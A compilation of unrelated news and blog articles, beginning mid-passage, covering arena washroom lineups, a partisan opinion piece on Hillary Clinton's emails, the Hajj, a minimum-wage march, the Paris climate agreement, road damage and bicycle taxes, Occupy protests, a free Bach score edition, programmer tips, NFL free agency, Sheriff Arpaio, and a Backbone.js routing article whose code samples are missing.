“I go to the washroom that’s always the women’s washroom and it’s a men’s washroom. So we make our way three-quarters of the way around the building and the women’s washroom is 60 deep,” she explained. “There was no lineup at the men’s washroom that was previously the women’s washroom, so that made it even more frustrating.”  Darrington said staff are trying to address the issues.  “We clicker count, we’ve got people watching the lines and again, we’re studying them and doing everything we can operationally to make it as comfortable as we can for our fans.”  She said staff survey season-ticket holders to try and get an idea of how many men are coming to a game compared to women.  “You’ll never make everyone happy. I think we actually feel good about what we’ve done. The men are getting through faster, the women are seeing a little more of a delay.”  Zacharuk said flipping the bathrooms isn’t a fair solution.  “I get that the men had to wait, and it was an inconvenience for them, but they solved the problem by creating another problem.”  Not wanting to miss a minute of the action, Zacharuk chose not to drink in the second period so she could stay in her seat and avoid the long lineups.  “I don’t know why they couldn’t make it just one unisex bathroom. You could have a choice. If you don’t want unisex, you go to the guys’ or you go to the girls’ washroom,” she said, suggesting the idea as a means of eliminating the wait times for both genders.  READ MORE: Porta potties installed downtown to relieve Edmontonians during Oilers’ playoff run  Comer felt the decision showed male fans took precedent over women.  “It just felt like we were on the other end of the scale for us in terms of what fans were important,” she explained.  “You should have enough washrooms for the number of people that are going to be in there. I think it’s kind of a no-brainer.”  Rogers Place aims to have fans in and out of the bathrooms in about four minutes, a time Darrington said they were successful with in the regular season.  According to the City of Edmonton, there are 172 toilets and urinals required by code, while Rogers Place has 485. However, some have use restrictions, including company boxes, the Loge Level and Sportsnet Club.
-Hillary's Espionage and the Statute of Limitations  Alger Hiss was a U.S. State Department official who was accused in 1948 of being a Soviet spy. Hiss's indictment stemmed from alleged espionage in the form of secret State Department documents spirited out of Foggy Bottom and into the hands of persons "not authorized to receive" them. "The Pumpkin Papers" consisted of sixty-five pages of retyped secret State Department documents, four pages in Hiss's own handwriting of copied State Department cables, and five rolls of developed and undeveloped 35mm film. Being charged under the Espionage Act was appropriate for those who obtained any information relating to the national defense and delivered that information to someone who was not authorized to have it. The former State Department official, Alger Hiss, typed classified information on his office typewriter, slipped the copies into a briefcase, removed classified information from the State Department, and provided all of this to his Soviet handler, who photographed and microfilmed it. The FBI wished to prosecute Alger Hiss for espionage, but the Justice Department indicated that the statute of limitations had run out, and Hiss was convicted of the lesser crime, perjury, for lying to the FBI.  Former secretary of state Hillary Clinton insisted that she "had broken no rules" to conduct government business through the use of a private email service in lieu of the U.S. government's unclassified system, the Non-Classified Internet Protocol (IP) Router Network (abbreviated as NIPRNet) and the Secret Internet Protocol Router Network (SIPRNet). These are a system of interconnected computer networks used by the U.S. Department of Defense and the U.S. Department of State to transmit classified information. The U.S. government has spent billions of dollars developing, deploying, and protecting its internet protocol router networks to enable authorized government officials to conduct the business of government, properly exchange information, and intelligence, up to and including information classified SECRET, with others in the government (and their contractors) who are authorized and entitled to have it. Mrs. Clinton purposely avoided using the government's networks through the use of a homebrew server. That she found a way to transmit countless classified documents, up to and including special access program material, to her personal server has been made public and is not in question. The former Democratic presidential candidate disclosed that she and her aides had deleted more than 30,000 emails she deemed "personal." For a frame of reference, 30,000 emails printed out represents a stack of 60 reams of paper, a stack 11 feet tall. When the FBI retrieved the spools of microfilm, the Alger Hiss "Pumpkin Papers" printed out to a stack four and a half feet tall. Hillary Clinton and the FBI have learned much from the Alger Hiss case. The American public will not be able to read a transcript of Hillary Clinton's interview with the FBI, because the bureau did not transcribe it. Furthermore, Mrs. Clinton was also not placed under oath during the three-and-a-half-hour interview. When Mrs. Clinton wasn't placed under oath, she could not be charged with lying to the FBI, as Alger Hiss was eventually charged with and convicted of. There doesn't seem to be a race against the clock for the Trump DOJ to charge Mrs. Clinton with espionage. Alger Hiss escaped prosecution under the Espionage Act of 1917 due to the statute of limitations having expired. Also, there was no appetite by the DOJ to charge the former senior State Department official and Democrat lawyer. Although federal statute USC 3282 provides for a five-year statute of limitation for the vast majority of federal crimes, this statute of limitations does not necessarily stand in the case of espionage prosecution. It is generally agreed by legal scholars that acts of espionage can be prosecuted for at least ten years after the alleged act. I wish Congressman Trey Gowdy could give Attorney General Sessions a lesson on Spoliation of Evidence, with which attorneys fresh out of law school are familiar. Hillary Clinton's deletion of 30,000 emails is a classic case. When parties fail to produce relevant evidence within their span of control, evidence they are otherwise naturally expected to possess, the U.S. legal system allows and even mandates that unfavorable presumptions be drawn against them. So when some item of relevant evidence – whether documents, physical objects, or data relevant to an ongoing legal matter – is destroyed, discarded, or modified in some way, the U.S. legal system allows us to presume that the missing evidence was unfavorable to that party and allows us to draw conclusions accordingly. The classic junior high school excuse, "the dog ate my homework," isn't valid under the law when the disappearance is suspicious. Spoliation of evidence is prohibited by an array of laws and regulations. Also, anyone who destroys relevant evidence or assists in such destruction is subject to criminal prosecution, civil fines, tort liability, exclusion of testimony, and dismissal of claims, as well as adverse evidentiary inferences. We have little way of knowing if any one of the 33,000 missing documents under Mrs. Clinton's control could have been used "to the injury of the United States or to the advantage of a foreign nation." The Trump DOJ should be making all possible efforts to retrieve the missing 33,000 emails and determine once and for all: "was it espionage or was it yoga?" "You don't use BleachBit for yoga emails or for bridesmaids emails," Congressman Trey Gowdy said in an interview to Fox News. "When you are using BleachBit, it is something you really do not want the world to see." The cabal of President Obama, Attorney General Loretta Lynch, and FBI director James Comey did everything they could to protect Hillary Clinton from the politically explosive charge of espionage when it was obvious to anyone in the intelligence community what she was doing. There is sufficient and obvious evidence that like the Soviet spy Alger Hiss, Mrs. Clinton should be charged with espionage before the statute of limitations runs out.
-The Hajj, the fifth pillar of Islam and one of the largest religious pilgrimages in the world, is currently taking place in Mecca, Saudi Arabia. Starting earlier this week, and continuing through Monday, approximately 3.4 million Muslims from around the world are participating in several rituals, including the Tawaf -- the circumambulation of the Kaaba, the enormous cube-shaped building in the center of the Masjid al-Haram mosque. The pilgrims are are also taking part in the Sa'i, traveling back and forth between the mountains of Al-Safa and Al-Marwah, and Ramy al-Jamarat, in which they throw pebbles at three walls in the city of Mina to show their defiance of the Devil. The rituals and locations date back to the 7th Century, but much of the surrounding area has grown and changed radically over the years. For comparison, I've included several historical images of Mecca as well, dating back as far as 1889. The rest of the photos depict this year's Hajj and the pilgrims on their sacred journey.
-CLOSE In Des Moines on Monday, at least 200 Iowans gathered to march at Mercy Hospital in support of higher minimum wages, fair union rights, and safe working conditions.  Buy Photo Hundreds of protestors gathered outside of Mercy Medical Center in Des Moines on Monday, Sept. 4, 2017, to advocate for union rights, higher minimum wage, and safer working conditions. According the the U.S. Bureau of Labor Statistics' 2016 report, Registered Nurses in Iowa were ranked 50th in salary. (Photo: Bryon Houlgrave/The Register)Buy Photo  Amy Smith's voice shook slightly as she talked to 200 workers in Des Moines Monday about the need for higher wages.  Smith makes $13 an hour as a certified nursing assistant at Mercy Medical Center but must also work a second job to help her and her fiance make ends meet.  "We're not comfortable," said the 23-year-old, who wants to return to school to become a nurse but struggles to save money.  "It's an important issue and worth being a little nervous for," Smith said. "I work with a lot of moms, and they need more money."  In Des Moines and across the nation, hundreds of workers spent their Labor Day calling for $15-an-hour minimum wage.  Organizers criticized Gov. Kim Reynolds and Iowa lawmakers for a law that rolled back minimum wage increases this year in Polk, Johnson, Linn and Wapello counties and prevented other counties from adopting higher wages.  Iowa's minimum wage is now $7.25 an hour.  Protesters said the current minimum pay leaves working families living in poverty.  The event, organized by the Fight for $15 and the Service Employees International Union, was one of dozens held nationally, targeting health care, fast food and other service industries.  CLOSE House Study Bill 92 would immediately roll back minimum wage increases approved in Polk, Johnson, Wapello and Linn counties. Kevin Hardy/The Register  Des Moines area workers marched at the Burger King on Southeast 14th Street and at Mercy Medical Center on Monday. They also closed a Burger King in Ankeny Sunday night.  Cathy Glasson, a registered nurse and Democratic candidate for governor, said more than half of Iowa health care workers earn less than $15 an hour.  Mercy-Des Moines' CEO "is making over $900,000 and most people caring for patients, cleaning the rooms, cooking the food, pushing the wheelchairs are making less than $15 an hour," said Glasson, who is president of SEIU Local 199.  Buy Photo Protestors march across 6th Ave. on their way to Mercy Medical Center in Des Moines on Monday, Sept. 4, 2017. Hundreds gathered to advocate for union rights, higher minimum wage, and safer working conditions. According the the U.S. Bureau of Labor Statistics' 2016 report, Registered Nurses in Iowa were ranked 50th in salary. (Photo: Bryon Houlgrave/The Register)  Sandy Doerring just finished a 12-hour shift at Broadlawns Medical Center before arriving at the protest across from Mercy.  The nurse said she's had to work two jobs for about 30 years to support herself and her family.  Iowa nurses earn an average of $26 an hour, but they rank 50th lowest nationally.  Doerring said many nurses train in Iowa, then move away to earn more.  "You can get a double-digit pay increases," she said.  Holly Muir said it's tough to support her 10-month-old son earning minimum wage at her Burger King job.  "Even $10 an hour would make a big difference," said Muir, 21, who must live with her mother so she has enough money to care for her son, QueLeone.  Buy Photo Hundreds of protestors gathered outside of Mercy Medical Center in Des Moines on Monday, Sept. 4, 2017, to advocate for union rights, higher minimum wage, and safer working conditions. According the the U.S. Bureau of Labor Statistics' 2016 report, Registered Nurses in Iowa were ranked 50th in salary. (Photo: Bryon Houlgrave/The Register)  Mike Duttlinger said he's worked as a cook for 20 years but earns only $8.25 an hour at Burger King.  The 53-year-old said he has little left after paying his housing costs, buying food and paying for gas.  "The money goes pretty fast," he said.  Read or Share this story: http://dmreg.co/2eDLEqy
-For the Paris climate agreement to go into effect, 55 countries representing 55 percent of global emissions had to sign up. That’s finally happened.  While 195 nations endorsed the agreement at the COP 21 climate meeting in Paris last December, those countries then had to approve them domestically and submit their final approval to the United Nations. Earlier this week, the European Parliament voted to ratify the Paris agreement, which in turn allowed the European Union and seven of its member states to sign up to the pact. Canada, Nepal, and India have all also stepped up to the mark.  And with that, the limits are met—73 nations accounting for over 56 percent of the world’s emissions are now signed up to the accord. It’s hoped that the pact will be activated on November 4.  U.N. Secretary General Ban Ki-moon, Chinese President Xi Jinping, and U.S. President Barack Obama shake hands after China and the U.S. signed on to the Paris climate agreement in September 2016.  That’s commensurate with the hopes of U.N. Secretary General Ban Ki-moon. Two weeks ago at the U.N.’s General Assembly meeting, he said that he was “ever more confident” that the accord would be ratified this year. His hopes have been realized. Reacting to the the news, President Obama has said that enactment of the pact “gives us the best possible shot to save the one planet we got.” (Killer rhyme, Barack.)  Now comes the hard part. There’s still a long way to go if we’re to ensure that the planet doesn’t warm by more than the 2 °C described in the pact. The agreement is, after all, little more than a piece of paper. Now we need action by local and national governments to save us from ourselves.  (Read more: Science, The Guardian, “The Paris Climate Accord Just Passed a Crucial Threshold,” “Six Months after Paris Accord, We’re Losing the Climate-Change Battle”)
-Discussion about fees and taxes for bicycles so that we cyclists “pay our fair share” often turn to mentions of the “Fourth Power Rule.” What is this mysterious Fourth Power Rule?  Back in the 1950s and 1960s, highway engineers researched damage done to road beds and road surfaces for the purposes of allocating who should pay how much into the various road maintenance funds. The American Association of State Highway Officials (AASHO; they added Transportation to their organization name during the 1973 OPEC oil embargo) collated this research and published their findings as a “Special Report” for a highway engineering conference in 1962.  What these researchers found is that damage to the roadbed is proportional to the 4th power of the axle load of the vehicle, and they called this “the Generalized Fourth Power Law.” This means that if you double the weight on an axle, your vehicle does sixteen times the damage to the road. The result is those signs you see on the backs of truck trailers that say “This truck paid $4,182 in highway taxes last year.”  Let’s take an example. A Toyota Prius weighs about 3,000 lbs, which is 1,500 lbs per axle. A Lincoln Navigator weighs in with a curb weight of 6,000 lbs, or 3,000 lbs per axle.  (3000 / 1500)4 = 24 = 16  Because of this extra highway wear and tear, the extra real estate required by these larger vehicles (the trend to larger vehicles during the 90s and 2000s contributed all by themselves to 20% more highway congestion over this time period), and the higher law enforcement and emergency services expenses incurred by these vehicles, the owners of large, heavy SUVs pay sixteen times what the owners of economy cars do in registration fees and gas taxes.  Oh wait, no they don’t, because we live in Bizarro Land. Owners of large vehicles can often take advantage of tax incentives not available to the owners of smaller vehicles. But I digress. Let’s look at another example.  We’ll start once again with our 3000 lb Prius and compare that against a tractor trailer with a gross weight of 70,000 lbs. The Prius, as before, has 3000 lbs over two axles, so that’s 1500 lbs per axle. The tractor trailer has 70,000 lbs spread over five axles; the weight distribution isn’t even across those five axles, but for the purposes of this exercise we can pretend that we have 14,000 lbs per axle.  (14,000 / 1,500)4 = 94 = 6561  You saw that, right? A tractor trailer causes roughly 6500 times more road damage than a Prius.  It’s a Rule of Thumb  Let’s break now to remind our listeners that the Fourth Power Rule is a rule of thumb. It’s meant to give rough guidance for policy makers if they want to figure out what the “fair share” of the cost is for road maintenance. Research on this topic since the 1960s has shown that the actual road damage from light vs heavy vehicles can vary significantly depending on existing road conditions, the road construction methods, and even factors like tire pressure and suspension systems.  In other words, since we’re talking about transportation and tax policy, the Fourth Power Rule is good enough for government work.  There’s also a speed component to the Fourth Power Rule. It’s usually not talked about because vehicles all mostly travel at the same speed, but when we compare a 15 MPH bicycle against a 60 MPH Prius, that 4X speed difference means a 4X difference in road damage.  Unlike axle loading, the damage due to speed is mostly linear. In other words, twice the speed equals twice the damage. To keep things simple, I’ll ignore this factor, but when you see the bicycle numbers below feel free to multiple by two times to four times.  Bicycles bicycle bicycles bicycle bicycles  Let’s come full circle to the topic at hand, which is the perennially proposed bicycle tax. We’ll start once again with our hypothetical Prius, and this time compare it against a fully laden bike commuter with loaded panniers who might weigh 220 lbs with bike. That’s 1,500 lbs per axle for the Prius, and 110 lbs per axle for the bike and rider.  ( 1,500 / 110)4 = 144 = 38416  We see the Prius does 38,000 times more road damage than a bicycle.  California Senator Mark Deaulnier’s proposed bicycle tax doesn’t have an amount – that will be left to local jurisdictions who may wish to impose such a tax – but let’s use Colorado Springs’ modest $4 bicycle sales tax as an example. If cyclists pay our “fair share,” the sales tax on a small automobile such as the Prius should come in at a cool $154,000. The Lincoln Navigator and other vehicles with twice the weight of the Prius have a sales tax sixteen times higher, which comes to $2.5 million.  So how about we propose an amendment to Senator Desaulnier’s bill? Any bicycle tax imposed will also have a “fair share” clause, such that the new car sales tax be equal to the fourth power of the axle loading difference between a bicycle and the motor vehicle.  A little more seriously: a $150 thousand sales tax for vehicles is more than a little ludicrous. A $4 bike tax might seem reasonable, but in my view it’s equivalent to charging hundreds of thousands of dollars for vehicles.  Share this: Email  Facebook  Reddit  Google  Tumblr  Pinterest  Twitter  LinkedIn  Pocket
-- The Future Cannot Last Four Minutes - By FINA 21 November 2014  Cultural phenomena can be found at the bus stop: wait two thousand years and it all comes in a rush. As we wait, we witness the expiration of the popular modern method. We witness the expiration of the brand and the capriciousness of its ideas rooted in retrospection: music which wants to be heard, but has been heard already.  Culture subservient to past iconography produces fatalism betraying the unlimited creative potential of today. The pretty little heads of Brighton Fashion Week and London Fashion Week and garb meisters around the world showcase a zeitgeist devoid of spirit; the ego all-encompassing and closed, clutching at the certainties of the rear-view mirror. And at the bus stop, if the phenomena doesn't arrive, we will start walking: we will find a way. Only t-shirts can save the world now: fatalism is not the end!  The image shown is part of a three piece T shirt collection 'No Glory...' to be released soon on the Fina Boutique shop
-The month-long Occupy Wall Street movement shows no sign of slowing down. A second day of demonstrations in Long Beach ended with two arrests following a busy weekend for the movement in Southern California and all over the world.  Occupy Long Beach protesters gathered at Lincoln Park on Sunday. Just before 10 p.m., police warned them to break up because the park was closing.  Officers said they were trying to get people in tents to leave and the group chanted and yelled in defiance. Two protesters were arrested for camping in a public park during prohibited hours. Two others were cited and released.  There were reportedly up to 150 people protesting but most of them left the park when they were told.  "We ask for many things. We're supposed to have it, you know, like education. Be more concerned about workers and students," said demonstrator Louis Rodriguez of Lakewood.  The Occupy protests started on Wall Street against corporate greed and economic inequality, and they've gone global.  The Occupy Los Angeles movement is protesting against a number of different issues, and people are hoping to narrow the focus.  Oscar Bay of the Ethnic Majority Organizing Committee said his group hopes to put people back in homes that have been foreclosed.  Some Los Angeles Unified School District teachers and employees are planning to march and set up tents in downtown Tuesday to protest cuts in education.  "I would like to not be in debt after I graduate. I'm afraid to go to school, because I know that once I graduate, I will be $50,000, if not more, in debt," said one Occupy Los Angeles protester.  Meantime, rioters in Rome infiltrated a march by thousands of demonstrators over the weekend and caused almost $1.5 million in damage to city property.  About 175 people were arrested in Chicago after they refused to leave a park where they were camped. Seventy protesters were arrested in New York City and 100 were arrested in Arizona.  Princeton University Professor Cornel West was among 18 people arrested while protesting on the steps of the U.S. Supreme Court in Washington D.C.  See photos of Occupy protests being held around the world.
-New works of art usually enter the public domain through a process involving death and patience. It is a rarer occasion that living people set about to make a resource public domain, and even rarer so when that effort involves thousands of people collaborating and pooling their time, energy, and money. That's what's happening on MuseScore.com with the first public review of the Open Well-Tempered Clavier score, a new edition of J.S. Bach's musical masterpiece (BWV 846-869).  In music, the source code for a composition is usually expressed as musical notation. In that respect, music that is to be performed is akin to a scripting language (like PHP or Javascript), which (barring deliberate obfuscation), is delivered to the interpreter in readable form. Bach released his works hundreds of years ago, and while the notes and ideas themselves have long been part of the public domain, the individual editions of his work, complete with skilled engraving, editorial opinion from musicologists, and performance tips from famous performers, are usually protected from copying and derivative use by copyright.  That's why the Open Well-Tempered Clavier project (campaign on Kickstarter) was created: to make a modern, digital version of Bach's work, and to license it freely (in this case with the Creative Commons Zero—CC0—license remover). So that there is no doubt about allowed use—all uses are allowed and encouraged. The companion recording of the work, played on piano by Kimiko Ishizaka, also CC0, will be released in March of this year.  Participants in the public review of the score are asked to study the notation carefully, either in the browser or by downloading the individual scores into the open source MuseScore program. Compare the notes and markings to other editions of the score, or to the very manuscripts themselves, and note the differences. The MuseScore.com website has a feature that provides for the annotation of the scores (one of the advantages gained by making digital versions that are expressable in standard formats such as MusicXML).  Nightly builds of the MuseScore program (which is the version suitable for viewing the Open Well-Tempered Clavier) can be downloaded for Linux, Mac OS X, and Windows.
-A good programmer is able to manage their time perfectly. We try to write an optimal code spending as little time as possible. But sometimes we are just forced to stop. So what do app developers do then?  I faced this problem a few times at work. The project I participated in was finished and a new project hasn’t started yet. It seems that I could just relax: drink coffee, chat in a social network, read something interesting on the web or watch funny videos on YouTube (I’m sure anyone can add something to this list).  Then I realized, I’m getting even more tired while doing nothing. I made a conclusion that it’s nice to do nothing when you have something to do, but not when there is no work at all…  ‍  So I started thinking and searching for help on the web. Below you’ll find a list of tips that will help you to spend your time with benefits.  ‍  IMPROVE YOUR SKILLS  Programmers work is continuous improvement. Every day a new technology or programming language is born, languages we use gets updated, a new functionality is added to libraries or frameworks. So it’s important to boost your knowledge. And it’s crucial to understand that every new skill is an investment in your career.  ‍  What should you learn? Of course, it depends on what you work on and what you are interested in. But it’s better to focus on the things that can improve your daily programming life.  I believe that one of the ways to keep up to date is to read. Today we have a free access to great content online. You can read books and articles (and discussions to the articles).  However, reading is not enough. And the best way to learn programming is coding.  You can check new features by yourself or help other programmers in your company. You will consolidate knowledge or learn some new stuff while helping others.  ‍  OPTIMIZE TEAMWORK  Many people believe that everything programmerapp developer needs is a computer. However, a significant part of programmer’s work is connected with other people. Developers work in a team, which includes not only programmers but also a project manager, designers and testers. And a success of the project depends on a good communication in such a team.  ‍  A free time – is a great chance to suggest your ideas for a teamwork optimization and improve your soft skills. So you can try to think about ways to make your current or future products better. For example, you can help the design team or the business team come up with ideas for future releases, new features that can be added, removed or replaced. You can also observe how your colleagues work and figure out how you can help them do their jobs better.  ‍  REFACTOR CODE  Developers understand that their code is never perfect and it can always be improved.  It can be your app architecture, localization, accessibility, layouts, just style of your code and so on. Obviously, there is always something that an app developer can do better.  Here are some universal sources about refactoring:  The Clean Coder: A Code of Conduct for Professional Programmers by Robert C. Martin  This book is packed with practical advice about everything from estimating and coding to refactoring and testing. It covers much more than technique – it is about attitude. Martin shows how to approach software development with honor, self-respect, and pride, work well and work clean, communicate and estimate faithfully, face difficult decisions with clarity and honesty, and understand that deep knowledge comes with a responsibility to act.  ‍  ‍  ‍  ‍  ‍  ‍  ‍  ‍  Clean Code: A Handbook of Agile Software Craftsmanship by Robert C. Martin  Even a bad code can work. But if code isn’t clean, it can bring a development organization to its knees. Every year, countless hours and significant resources are lost because of poorly written code. But it doesn’t have to be that way.Martin has teamed up with his colleagues from Object Mentor to distill their best Agile practice of cleaning code “on the fly” into a book that will instill within you the values of a software craftsman and make you a better programmer – but only if you work at it.  ‍  ‍  ‍  ‍  ‍  ‍  ‍  ‍  ‍  I hope, that these tips will tell you something interesting about programmers’ work and help you spend your time with benefits. Never stop learning, growing, and exploring!  ‍
-Alshon Jeffery made the bold prediction in January that the Bears would win the Super Bowl next season. Perhaps he should have just said "I" will win a Super Bowl.  The impending free agent receiver told ESPN's Josina Anderson on Thursday he's looking to sign with a contender when the market opens on March 9.  "I don't have any hard feelings towards the Bears -- it's all love," Jeffery said. "Whatever the next chapter is, I'm ready for it. I'm looking at the teams that obviously need a wide receiver, but also put me in the best situation to win a championship right now. I also want to see what other free agents may be attracted to the same teams I'll be looking at. That can help that goal."  While both Bears general manager Ryan Pace and coach John Fox said at the NFL Scouting Combine they are still interested in re-signing Jeffery, his quote certainly smacks of a player ready to move on.  Chicago declined to use the franchise tag again on Jeffery, which would have put them on the hook for more than $17 million.  With plenty of teams like the Bucs, Eagles, Rams, Titans, 49ers, etc., in need of receiver help, Jeffery will have a healthy market come free agency. When it comes down to it, he'll sign with the highest bidder, even if that squad is no closer to a Super Bowl than the Bears.
-PHOENIX (Reuters) - Dozens of inmates in Arizona jails run by a sheriff who has been a controversial figure in the national immigration debate have been put on a diet of bread and water for desecrating U.S. flags that hang in each cell, authorities said on Friday.  Maricopa County Sheriff Joe Arpaio addresses the media about a simulated school shooting in Fountain Hills, Arizona, February 9, 2013. REUTERS/Darryl Webb  Maricopa County lawman Joe Arpaio, who has been called “America’s toughest sheriff,” said 38 inmates were currently getting these meals twice a day as punishment for destroying government property while in custody at six jails.  “These inmates have destroyed the American flag that was placed in their cells. Tearing them, writing on them, stepping on them, throwing them in the toilet, trash or wherever they feel,” Arpaio said in a statement. “It’s a disgrace to those who have fought for our country.”  The punishment will last for seven days, he said, and a second offense would bring 10 more days of the sparse diet.  A sheriff’s spokesman said the bread provides the daily requirement of calories and nutrients that is necessary. There are about 8,300 inmates in the jail system.  In recent months, the Maricopa County jails have broadcast patriotic songs over the public address systems - “The Star Spangled Banner” in the morning and “God Bless America” at night.  Arpaio, a six-term sheriff, has come under increased scrutiny and criticism in recent years for his actions, including a hard-line stance on immigration.  Last week, a court monitor was appointed to oversee operations at his office after a federal judge found in May that Arpaio’s deputies had racially profiled Latino drivers. That ruling came in response to a lawsuit that tested whether police could target unauthorized immigrants without profiling U.S. citizens and legal residents of Hispanic origin.  Dan Pochoda, legal director for the American Civil Liberties Union in Arizona, called the move a “publicity stunt.”  “It’s certainly not illegal, but what he is doing is bad policy,” Pochoda said. “It’s just another vindictive policy that has nothing to do with running a good jail system.”  The sheriff, who is facing a lawsuit and investigation from the U.S. Justice Department accusing him of civil rights abuses, strongly denies that he or his officers profile Latinos.  Under a portion of a controversial Arizona immigration law that was upheld by the U.S. Supreme Court, police in the state may ask people they stop about their immigration status.
-In the web development world with MVC based back-end servers, nearly everything is kicked off with routes. Look at rails for example. If you want a list of items, you hit /items and the router executes the index method on ItemsController. Add a new item, view an item, edit an item and post the updates back to the server – even deleting an item works with a route.  Unfortunately I see the same patterns emerging in a lot of sample code for javascript MVC frameworks, like Backbone. Stop doing that. Now. You shouldn’t be using routes for functionality that can be achieved with a simple method call, a command, or an event.  Why It Works For The Server  A web application is a stateless system. Your browser does not have a live connection to the server for any more time than is needed to transfer the rendered html, css, javascript, images, etc to your browser. Once that data transfer is done, you are viewing the page on your local system. The server is not holding a ton of resources in memory, allowing you to manipulate them directly through your browser. You’re manipulating a representation of those things, that has been turned into a combination of technologies that your browser knows how to deal with.  Because of the stateless nature of web servers, it makes sense for every action you want to do to have a route associated with it. The server needs to have some context to tell it what you are trying to do, so it can figure out what code you’re trying to run. All of this is necessary because the browser is disconnected from the server. The server doesn’t know that you’re looking at item #1 or the list of items. It knows nothing about what you’re doing until your browser tells the server to do something.  State. Do You Speak It?  A Backbone app is closer to a desktop client application than a web application in a few respects. Not the least of which is that it has state. The objects and data that are loaded in memory will stay in memory. You can rely on the item that you loaded being there when you need it again, without having to reload based on an id every time you need it.  Because of the stateful nature of a Backbone application, there are times when it doesn’t make sense to use a route, though it technically works.  Problem: Routing A Delete  I’ve seen this a number of times – and have built it at least once, myself. When a developer who normally works with rails or another MVC server technology gets to the point where they need to delete one of the Backbone models, they add a route for delete. Then they use a link in the html to hit the route and cause the delete to happen.  The delete route and view often look like this:  With an HTML layout that looks like this (after being rendered):  Yes, this is functional. You can click on that link and it will delete the model in question. The rendered view for that model will also be removed from the HTML that is displayed on the screen. As functional as this is, though, there are several problems with it.  Browser History  One of the features that we get with Backbone’s router is the ability to control the browser’s history and the back button. Every time we send the browser to a new url#route, Backbone records it in the browser’s history. This allows us to move backward and forward in the application, using the browser’s backward and forward navigation button.  When we use a delete route, we get the deletion stuffed into our browser’s history. If we hit the back button, after navigating to another url#route, the router will try to find and delete the model again. It gets even worse if we are routing deletes of groups of things. Assume that we routed to #/delete/green in order to delete all items that are colored green. Then the user adds several new items that are green. Now that they are done, they click through the back button history in order to get to where they started. Along the way, they hit the #/delete/green route again, and all of the work they had just done is destroyed.  To prevent these bad scenarios and prevent unwanted errors from models not existing when the router fires the delete code again, we have to put null checks around things. This makes our code a little uglier, a little less readable and gives us more to maintain over time.  Bookmarks and Copy & Paste Urls  Another advantage of Backbone’s router and url#routes, is the ability to copy & paste the entire url or bookmark it, and get back to where we left at any time in the future. When we open that bookmark or paste the url with the url#route in it, the Backbone router will kick off the route’s code. Here, we end up in the same scenario as the browser history issue.  Unnecessary Lookup To Find The Model For Deletion  Backbone is a stateful framework. This means that we have whatever objects are instantiated hanging around and waiting to do work or have work performed on them. By using a route to find the model that we want to delete, we are ignoring the state that our Backbone application has already provided in order to look up a model that is already in memory, waiting to be used.  The result of this is negligible in terms of memory and performance, in the example of deletion. However, the problem extends beyond the simple model and into the views.  Breaking Encapsulation To Remove The View  The last line of the router’s delete method removes the view that was displaying the item because when you’re deleting an item, you will likely want to remove it from the view as well. By using a jQuery selector to find the view and remove the HTML that represents the view from the DOM directly, though, we are breaking the view’s encapsulation and creating spaghetti code which will likely become difficult to maintain over time.  A Backbone view provides a significant amount of functionality and capabilities. One of the convenience features that is provided for us is the `remove` method of the view. This method, according to the documentation, calls `$(this.el).remove()`. This is essentially the same code that we have called in our router’s delete method. However, this remove method is encapsulated within the view and uses the context and knowledge that the view holds in order to do the delete. Even if this convenience method doesn’t exist in your version of Backbone, it is 1 line of code to add it and allow work against your view to be encapsulated correctly.  By making this call outside of the view, we are breaking encapsulation. We are also opening up the possibility of bugs being introduced to the app in ways that are difficult to track down. If we have code strewn throughout the app that removes HTML elements, but we are not cleaning up the view objects that represent (and own) those elements, there could be problems. If a view tries to access an element that is no longer there, the work it’s trying to do will at best, not do anything. At worst, it will cause unexpected errors and potentially ruin the work that the user has been doing.  Other Issues  While the list of issues I’ve described is fairly comprehensive of the potential problems, it’s not complete. There are near countless combinatorial problems that can be put together between all of these and other potential issues that I haven’t expressed.  Solution: Let The View Be In Control  Given the number of problems that have been identified, it should hopefully be apparent that a route for a delete is probably not the best thing to do. Fortunately, we can solve these problems by building our Backbone views the way they were meant to be built, allowing them to encapsulate control of a model, including the model’s deletion.  Here’s an example of the code that we can use to allow deletion of the model via the view, directly:  And the view can be simplified a little, too:  You’ll notice that this is roughly the same amount of code. There may be 1 or 2 lines less in the new version, but that’s negligible at best. We don’t get any advantage from this perspective. However, we do get a number of advantages with regards to the previous problems that I described.  No Browser History For The Delete  We’ve changed the delete link in the HTML from “#/delete/1” to “#”. This could cause a browser history entry to be created, if the browser is currently pointing to a route other than “#”. However, there is a line of code in our delete method that will prevent this from happening. The first line, “e.preventDefault();”, tells jQuery to prevent the link from causing the browser to change it’s url. Thus, when we click the delete link, the item will be deleted but we will not navigate to “#” and therefore will not have a new route fired or a browser history entry created.  No Bookmark or Copy & Paste Urls For Deletion  Again, we’ve changed the delete link in the HTML from “#/delete/1” to “#”. This will prevent a bookmark or url copy & paste from triggering any deletion. Since you can’t create a bookmark to a specific line of javascript code, or copy & paste a url that starts out on a specific line of javascript code, we don’t have to worry about this problem at all.  No Unnecessary Lookup To Find The Model For Deletion  We’re taking advantage of Backbone’s stateful nature, in this case. When the view is instantiated and renders the HTML output, it stays around for us to use.  By using the declarative events of the view, we have bound the delete link to the view’s delete method with jQuery. When the link is clicked, the view is still around for us to execute code, and still has a reference to the model that was rendered. This allows us to call `.destroy` on the model directly, without having to do any lookups.  No Breaking Encapsulation To Remove The View  Lastly, we’re letting the view take care of itself, as it should. When the delete link is clicked and after the model is destroyed, the view closes itself. Notice that we’re not using a jQuery selector, either. We’re letting Backbone’s built in `.remove` method handle that for us.  Since the view is handling the destruction of the model – which is owns – and itself, there are no encapsulation breaks. Our view can then let itself fall out of scope and we no longer have to worry about any zombie view objects looking for elements that aren’t around anymore.  Other Niceties  Beyond the issues that I’ve addressed, there are additional benefits of building views and delete functionality in this manner. Backbone contains a tremendous amount of power and provides a lot of features for us to take advantage of. Every time we stay within the boundaries that Backbone outlines, it makes it that much easier for us to use the additional features provided to us.  Where Routing Works With Backbone  There are plenty of examples of where routes work well with backbone, of course. Imagine your building a large website that contains articles, for example. You could try to load all of the articles into the browser, all at once, using Backbone’s models and collections. It’s trivially simple to load a Backbone collection, after all. But loading all of these articles into the browser would cause the browser to slow down to a crawl, eat up a ton of memory and possibly crash the browser depending on the quality of browser and memory handling. Whatever the actual effects are, they would likely not be good.  The router is perfect for situations like this. You don’t need to load all of the articles from the server all at once. Instead, you can use routes to figure out which article the user wants and only load the detail for the one specified from the server or other data store.  Beyond This Simple Example  I’ve outlined a very simple example of a route that enabled some functionality while creating a slew of potential problems. This is a very simple example, as well. Imagine what could possibly go wrong if you have a very large Backbone app with nested views and the ability to move forward and backward in those views.  While there are some 